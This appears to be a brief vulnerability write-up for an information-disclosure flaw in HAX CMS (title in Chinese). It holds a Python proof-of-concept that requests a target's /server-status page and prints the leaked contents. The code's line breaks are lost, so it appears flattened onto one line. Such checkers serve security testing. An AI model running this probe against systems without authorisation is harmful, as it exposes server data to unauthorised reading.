CVE-2026-35185 HAX CMS信息泄露漏洞

#!/usr/bin/env python3 import requests def check_vulnerability(target_url): """ Check if the target HAX CMS instance exposes the /server-status endpoint. """ # Ensure the URL ends with a slash or handle path joining correctly if not target_url.endswith('/'): target_url += '/' endpoint = target_url + "server-status" try: print(f"[*] Checking target: {endpoint}") response = requests.get(endpoint, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed! /server-status is accessible.") print("[+] Leaked Data Sample:") print(response.text[:500]) # Print first 500 characters to verify content elif response.status_code == 403: print("[-] Access Forbidden. Endpoint might be protected.") else: print(f"[-] Received status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://example-hax-cms.com" check_vulnerability(target)